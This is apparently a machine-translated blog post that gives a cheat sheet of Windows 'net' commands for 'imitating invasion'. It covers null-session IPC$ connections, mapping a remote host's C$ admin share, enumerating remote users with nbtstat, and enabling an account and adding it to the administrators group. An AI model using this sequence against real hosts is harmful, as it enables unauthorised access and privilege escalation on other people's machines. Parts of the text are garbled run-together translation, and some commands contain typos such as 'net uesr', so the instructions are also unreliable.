Using the net use command line to imitate the invasion of ancient times, a lot of gains.
First of all, first a sloppy place, a command

net use \\IP\ipc$ "" /user:""

I played

net use \\IP\ipc$"" /user:""

And the clear written on the tutorial clearly pays attention to the space, but I don't think so. After a few mistakes, I have been looking around for reasons. I found the space until the end! Space! Space!
Then I realized that the other commands that DOS can't make are because the spaces are not in place! I go.
Ok, let’s summarize:
1) Create an empty connection:net use \\IP\ipc$ "" /user:""
(Be sure to note that this line contains 3 spaces)

2) Establish a non-empty connection:Net use \\IP\ipc$ "password" /user:"username" (also has 3 spaces)

3) Map the default share:Net use z: \\IP\c$ "password" /user:"username"
(you can map the other's c drive to your own z drive, other discs)
if ipc has been created with the target $, you can directly use IP + drive letter +$，thencanTakestraightConnectuseIP+platesymbol+Access, specific command net use z:
\IP\c$

4) Delete an ipc$ connection

net use \\IP\ipc$ /del 

5) Delete the shared map

Net use * /del Delete all, there will be a prompt to press y to confirm ```


 6) View the shared resources of the remote host (but can't see the default share) 
```net view \\IP ```


 7) View the shared resources of the local host (you can see the local default share) 
net share 


 8) Get the list of usernames for the remote host 
nbtstat -A IP 


 9) Get the list of users on the local host 
net user 


 10) View the current time of the remote host 
net time \\IP 


 11) Display local host current service 
net start 


 12) Start/close local service 
 Net start service name /y 
 Net stop service name /y 


 13) Map remote sharing: 
net use z: \\IP\baby 
 This command maps a shared resource named baby to the z disk. 


 14) Delete the shared map 
 Net use c: /del delete mapped c drive, other disk analogy 
 Net use * /del /y delete all 


 15) Activate User / Join Administrator Group 
1 net uesr account /active:yes 
2 net localgroup administrators account
/add 


 16) Delete an established ipc$ connection 
net use \\IP\ipc$ /del
